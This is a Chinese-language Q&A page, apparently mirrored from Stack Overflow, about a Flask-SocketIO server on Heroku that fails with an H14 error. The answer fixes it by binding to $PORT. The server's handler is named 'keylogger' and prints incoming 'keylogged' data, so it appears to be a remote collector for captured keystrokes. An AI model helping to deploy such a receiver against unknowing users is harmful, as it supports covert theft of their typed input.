python - Flask-SocketIO 服务器部署到 Heroku 但不运行
问题描述
我在 Python 上有一个简单的 Flask-SocketIO 服务器和一个 SocketIO_Client,它将数据发送到服务器,一旦接收到它就会在控制台中打印出来。在本地主机上一切正常,但是当尝试在 Heroku 上托管服务器时,它成功部署,但似乎没有运行。我在 CLI 日志中收到以下错误:
heroku[router]: at=error code=H14 desc="No web processes running" method=GET path="/" host=socket-server1337.herokuapp.com request_id=53e155e2-ba83-4862-84f8-b53014af539b fwd=" ...” dyno= 连接= 服务= 状态=503 字节= 协议=https
当我尝试从客户端连接到服务器时,出现此错误:
heroku[router]: at=error code=H14 desc="No web processes running" method=GET path="//socket.io/?EIO=3&transport=polling&t=1623103978016-0" host=socket-server1337.herokuapp. com request_id=12d0acb9-b5e2-4cf8-8815-81edec9cf525 fwd="..." dyno= connect= service= status=503 bytes= protocol=https
这是我的服务器的代码:
from flask import Flask, render_template
from flask_socketio import SocketIO, emit
app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret'
socketio = SocketIO(app, cors_allowed_origins="*")
@socketio.on('keylogger')
def print_keystrokes(data):
print(data["keylogged"])
if __name__ == '__main__':
socketio.run(app)
这是我的 Procfile:
网页:python Socket.py
我相信问题在于我的 Procfile 配置。根据flask-socketio文档,我尝试将Gunicorn与Gevent一起使用:
gunicorn -k geventwebsocket.gunicorn.workers.GeventWebSocketWorker -w 1 Socket:app
以及使用 eventlet:
web: gunicorn --worker-class eventlet -w 1 Socket:app
但是,上述方法均无效。任何帮助将不胜感激。提前致谢。
解决方案
问题是 Heroku 需要您的应用程序侦听它们在$PORT
环境变量中传递给您的特定网络端口。
解决此问题的一种方法是更改脚本的底线,如下所示:
socketio.run(app, port=int(os.environ.get('PORT', 5000)))
您还需要import os
在脚本顶部添加一个。
推荐阅读
- javascript - 一个变量 Y 随着时间的推移应该接近另一个变量 X
- azure-web-app-service - “.AspNetCore.Correlation。” 未找到国家财产。Azure B2C
- r - 在列表中的类似结构化df上应用多个函数的最佳方法?
- javascript - 如何更改由 tabulator.js 创建的表中的列标题?
- jquery - 动态更改 :after 选择器的高度
- iframe - 我无法嵌入 iframe 在 Appmaker 培训中心模板中制作课程
- spring - 我可以使用@WebMVCTest 加载@Component 吗?
- visual-studio-code - 创建 VSCode 片段时,如何将变量转换为标题大小写(如 TitleCase)?
- arrays - 比较两个数组并将第二个数组的对应值提取到新数组MATLAB
- java - 为什么 PrimeGenerator 类生成的数字比我想要的多一个?